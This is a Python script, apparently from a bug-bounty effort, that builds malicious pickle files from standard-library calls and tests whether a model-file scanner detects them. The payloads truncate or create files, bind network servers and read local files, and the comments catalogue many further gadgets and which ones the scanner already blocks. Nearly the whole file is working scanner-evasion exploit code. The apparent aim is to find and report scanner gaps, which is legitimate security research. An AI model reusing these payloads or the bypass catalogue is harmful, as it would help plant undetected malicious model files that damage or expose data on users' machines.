File size: 5,612 Bytes
39046fe
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
import sys, os, subprocess, time
sys.path.insert(0, r"D:\0projects\bountykimi\tmp")
from harness import Call, build, check_stream, ART, MARKDIR, run_modelscan, clean_markers

cands = []

# B1: zipfile.ZipFile(mode='w') overwrite-existing = TRUNCATE/DELETE+CREATE (HIGH)
cands.append(("B1_zipfile_trunc", [
    Call("zipfile", "ZipFile", os.path.join(MARKDIR, "b1_target_PWN.zip"), "w"),
]))

# B2: tarfile.TarFile(mode='w') truncation? tarfile.TarFile already in dupes. But truncation angle = overwrite. skip, listed.

# B3: open via io.open existing file mode 'w' truncates -> io.open done (generic). skip.

# B4: fileinput with inplace? destructive edit done? fileinput done. skip.

# B5: shelve writeback destructive? shelve done.

# B6: dbm.open existing file 'w' truncates -> dbm done.

# B7: logging.FileHandler mode 'w' truncation? FileHandler done.

# B8: bz2.BZ2File? bz2.open done.

# B9: xml.etree include? skip.

# B10: http.server.ThreadingHTTPServer bind (distinct class from HTTPServer, listen)
cands.append(("B10_threadinghttpserver", [
    Call("http.server", "ThreadingHTTPServer", ("127.0.0.1", 18993), Call("http.server", "SimpleHTTPRequestHandler")),
]))

# B11: socketserver.UDPServer bind (UDP listen - distinct from TCPServer h7)
cands.append(("B11_udpserver_bind", [
    Call("socketserver", "UDPServer", ("127.0.0.1", 18994), Call("socketserver", "DatagramRequestHandler")),
]))

# B12: http.server.ThreadingHTTPServer with CGIHTTPRequestHandler? CGI handler is cgi-exec capable but only on request. skip.

# B13: tempfile.SpooledTemporaryFile? in-memory then disk; TemporaryFile done A16. skip.

# B14: numpy.memmap fixed - file CREATE via memmap mode w+
cands.append(("B14_numpy_memmap", [
    Call("numpy", "memmap", os.path.join(MARKDIR, "b14mm_PWN.bin"), "float32", "w+", 0, (10,)),
]))

# B15: mmap.mmap requires fd. skip.

# B16: csv.DictWriter builds writer only. skip.

# B17: zipfile.PyZipFile write mode (create pyz) distinct from ZipFile? Marginal. skip.

# B18: zipapp done.

# B19: compileall done.

# B20: py_compile done.

# B21: configparser write needs fp. configparser already has PWN from earlier (configparser_PWN.ini exists) but is it in dupes? Not listed! configparser.RawConfigParser().write needs fp. How was it done? Probably .read? Whatever - configparser.ConfigParser().read(path) = file READ (MEDIUM, distinct class).
cands.append(("B21_configparser_read", [
    Call("configparser", "ConfigParser"),
]))
# .read is method. skip B21.

# B22: fileinput.input(inplace=1) destructive in-place edit of existing file (HIGH delete/write, distinct from fileinput read?)
# fileinput.input(files, inplace=True) -> on iteration writes. Iteration doesn't happen on load. skip.

# B23: linecache done.

# B24: getpass? no.

# B25: cgitb? no.

# B26: traceback done.

# B27: code module done.

# B28: pydoc done.

# B29: turtle? no.

# B30: uuid? no.

# B31: ipaddress? no.

# B32: sched? done (evil_sched). skip.

# B33: queue? no.

# B34: secrets? no.

# B35: stat? no.

# B36: fnmatch? no.

# B37: glob? read-only listing. glob.glob path - read dir listing (LOW). skip.

# B38: tempfile done enough.

# B39: signal? no.

# B40: resource? unix.

# B41: syslog? unix.

# B42: xmlrpc.server done h7.

# B43: xml.sax done. xml.dom.minidom.parse read (MEDIUM) distinct from sax?
cands.append(("B43_minidom_parse", [
    Call("xml.dom.minidom", "parse", os.path.join(MARKDIR, "b43.xml")),
]))

# B44: xml.etree.ElementTree.parse read (MEDIUM)
cands.append(("B44_etree_parse", [
    Call("xml.etree.ElementTree", "parse", os.path.join(MARKDIR, "b44.xml")),
]))

# B45: plistlib.load read (MEDIUM) - plistlib.dump done; load is read distinct
cands.append(("B45_plistlib_load", [
    Call("plistlib", "load", Call("io", "open", os.path.join(MARKDIR, "b45.plist"), "rb")),
]))

# B46: json.load read (MEDIUM) via io.open
cands.append(("B46_json_load", [
    Call("json", "load", Call("io", "open", os.path.join(MARKDIR, "b46.json"), "r")),
]))

# B47: marshal.load read (MEDIUM) via io.open
cands.append(("B47_marshal_load", [
    Call("marshal", "load", Call("io", "open", os.path.join(MARKDIR, "b47.bin"), "rb")),
]))

# B48: csv.reader read via io.open (MEDIUM) - builds reader only, no read. skip.

# B49: filecmp done.

# B50: hmac? no.

# B51: sqlite3 executescript done (evil_sqliteexec). skip.

# B52: numpy.fromregex? read MEDIUM meh. skip.

# B53: array.array('i').fromfile method. skip.

# B54: pprint done.

# B55: reprlib? no.

# B56: dis? no.

# B57: pickletools? pickletools.dis reads pickle file arg? pickletools.dis(pickle_bytes) in-memory. skip.

# B58: doctest done.

# B59: unittest discover done.

# B60: importlib.machinery.SourceFileLoader.load_module? execs py file = RCE but load_module is method. SourceFileLoader(name, path) ctor then needs method. skip.

# B61: runpy blocked.

# B62: modulefinder done f62.

# B63: setuptools done.

# B64: pip done.

# B65: ensurepip.bootsstrap? ensurepip._main() installs pip -> writes files/exec? ensurepip.bootstrap() module-level, installs pip into env = file write. Marginal, slow. skip.

# B66: venv done.

# B67: site? no.

# B68: webbrowser blocked.

# B69: antigravity imports webbrowser -> blocked? antigravity module-level GLOBAL 'antigravity this'? evil_antigravity done earlier. skip.

# B70: this? no.

results = {}
for name, steps in cands:
    path = os.path.join(ART, name + ".pkl")
    try:
        build(steps, path)
    except Exception as e:
        print(name, "BUILD FAIL", e); continue
    bad, globs, ga = check_stream(path)
    print(name, "bad:", bad, "getattr:", ga, "globals:", globs)